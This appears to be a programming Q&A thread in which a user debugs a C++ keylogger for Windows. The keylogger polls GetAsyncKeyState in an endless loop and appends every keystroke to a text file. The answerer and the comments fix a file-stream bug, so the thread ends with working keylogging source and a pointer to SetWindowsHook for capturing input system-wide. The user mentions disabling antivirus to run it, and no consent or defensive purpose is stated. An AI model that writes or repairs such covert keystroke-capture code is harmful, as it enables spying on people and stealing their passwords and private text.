-3

(C++ 17) I am writing a keylogger that writes the keystrokes onto a notepad but I am having trouble writing to the notepad. I created a function that gets called in a while true loop with a 175ms delay.

std::ofstream keyLogs;
keyLogs.open("C:\\Users\\smart\\Desktop\\Text Files\\Key Log.txt");
char toChar;

if (capital) // Capital is parameter
{
    keyLogs << "Printed, 1." 
    for (int ascii = 32; ascii <= 126; ascii++)
    {
        keyLogs << "Printed, 2." 
        if (GetAsyncKeyState(ascii))
        {
            keyLogs << "Printed, 3." 
            toChar = char(ascii); // Turns ascii to char 
            if (((GetKeyState(VK_SHIFT) & 0x8000) != 0) && ascii >= 49 && ascii <= 57)
            {
                if (ascii == 49) { toChar = '!'; }
                else if (ascii == 50) { toChar = '@'; }
                else if (ascii == 51) { toChar = '#'; }
                else if (ascii == 52) { toChar = '$'; }
                else if (ascii == 53) { toChar = '%'; }
                else if (ascii == 54) { toChar = '^'; }
                else if (ascii == 55) { toChar = '&'; }
                else if (ascii == 56) { toChar = '*'; }
                else if (ascii == 57) { toChar = '('; }
            }
            keyLogs << toChar << "\n";
            std::cout << toChar << std::endl;
            keyLogs.close();
        }
    }
}

When I execute the code, the program writes Printed 1 and 2 onto the notepad fine but stops after that. It's not that the program can't reach it because all my keystrokes are printed onto the console. I have also gotten many other keylogger repos but they all share the same problem of not being able to record the keystroke onto the notepad. I tried disabling my anti-virus and then running the code but it still did not work.


Edit:

// headerFile.h
extern std::ofstream keyLogs;
void GetKeyPressed(bool capital);

// define.cpp
std::ofstream keyLogs("C:\\Example\\Example.txt");

// Defines GetKeyState function
void GetKeyPressed(bool capital)
{
    char toChar;
     // If capital true
    if (capital)
    {
        for (int ascii = 32; ascii <= 126; ascii++)
        {
            if (GetAsyncKeyState(ascii))
            {
                // Turns ascii to char 
                toChar = char(ascii);
                keyLogs << toChar;

                if (((GetKeyState(VK_SHIFT) & 0x8000) != 0) && ascii >= 49 && ascii <= 57)
                {
                    if (ascii == 49) { toChar = '!'; }
                    else if (ascii == 50) { toChar = '@'; }
                    else if (ascii == 51) { toChar = '#'; }
                    else if (ascii == 52) { toChar = '$'; }
                    else if (ascii == 53) { toChar = '%'; }
                    else if (ascii == 54) { toChar = '^'; }
                    else if (ascii == 55) { toChar = '&'; }
                    else if (ascii == 56) { toChar = '*'; }
                    else if (ascii == 57) { toChar = '('; }
                }
                keyLogs << toChar << "\n";
                // std::cout << toChar << std::endl;
            }
        }
    }

// main.cpp
#include "headerFile.h"
int main()
{
    keyLogs.open("C:\\Example\\Example.txt");
    while (true)
    {
        // If capital or shift are being held down
        if ((GetKeyState(VK_CAPITAL) & 0x0001 || GetKeyState(VK_SHIFT) & 0x8000) != 0)
        {
            // If both are being held down
            if ((GetKeyState(VK_CAPITAL) & 0x0001 && GetKeyState(VK_SHIFT) & 0x8000) != 0) { GetKeyPressed(false); }
            else { GetKeyPressed(true); }
        }

        // If capital and shift are not toggled
        if ((GetKeyState(VK_CAPITAL) & 0x0001 || GetKeyState(VK_SHIFT) & 0x8000) == 0)
            GetKeyPressed(false);

        Sleep(175);
    }
    keyLogs.close();
}

1 Answers1

0

If you only look at the error in the code, because the file stream of keyLogs in the loop has been closed when the function is executed for the first time. So your key information will not be written into the file later, you can define keyLogs as a global variable.

This is the modified code, you can refer to:

#include <iostream>
#include <fstream>
#include <windows.h>
using namespace std;
std::ofstream keyLogs;

void f()
{
    char toChar;
    if (true) // I use true just test
    {
        //keyLogs << "Printed, 1.";
        for (int ascii = 32; ascii <= 126; ascii++)
        {
            //keyLogs << "Printed, 2.";
            if (GetAsyncKeyState(ascii))
            {
                keyLogs << "Printed, 3.";
                toChar = char(ascii); // Turns ascii to char 
                if (((GetKeyState(VK_SHIFT) & 0x8000) != 0) && ascii >= 49 && ascii <= 57)
                {
                    if (ascii == 49) { toChar = '!'; }
                    else if (ascii == 50) { toChar = '@'; }
                    else if (ascii == 51) { toChar = '#'; }
                    else if (ascii == 52) { toChar = '$'; }
                    else if (ascii == 53) { toChar = '%'; }
                    else if (ascii == 54) { toChar = '^'; }
                    else if (ascii == 55) { toChar = '&'; }
                    else if (ascii == 56) { toChar = '*'; }
                    else if (ascii == 57) { toChar = '('; }
                }
                keyLogs << toChar << "\n";
                //std::cout << toChar << std::endl;
            }
        }
    }
}


int main(int argc, const char* argv[])
{
    keyLogs.open("D:\\test\\test.txt");
    while (true)
    {
        f();
        Sleep(175);
    }
    keyLogs.close();

    return 0;
}

Of course, I recommend you to use SetWindowsHook to achieve keyboard recording.You can refer to : C++/Win32: Keyboard input to a non-foreground window

Zeus
  • 3,703
  • 3
  • 7
  • 20
  • The main function is in another file. I declared keyLogs var in the header file using the extern function and then defined it in the cpp file. It still does not add the keystrokes to the notepad though. – CrispyNuggets Jan 13 '21 at 03:50
  • @CrispyNuggets Could you please show a minimal, reproducible sample without private information? – Zeus Jan 13 '21 at 05:11
  • Just did. Let me know if there's any problem or info missing. – CrispyNuggets Jan 13 '21 at 05:28
  • @CrispyNuggets Could you give the implementation of the `GetKeyPressed` function? – Zeus Jan 13 '21 at 05:33
  • The whole function? – CrispyNuggets Jan 13 '21 at 05:35
  • @CrispyNuggets You only need to provide the smallest sample that can reproduce the problem, not your complete project. – Zeus Jan 13 '21 at 05:37
  • @CrispyNuggets When using `std::ofstream keyLogs("C:\\Example\\Example.txt");` the file stream is already opened, and you use `keyLogs.open("C:\\Example\\Example.txt" again );` may cause errors in the file stream, try `std::ofstream keyLogs;` or delete `keyLogs.open("C:\\Example\\Example.txt");` – Zeus Jan 13 '21 at 05:58
  • That fixed it. Thank you very much! – CrispyNuggets Jan 13 '21 at 06:10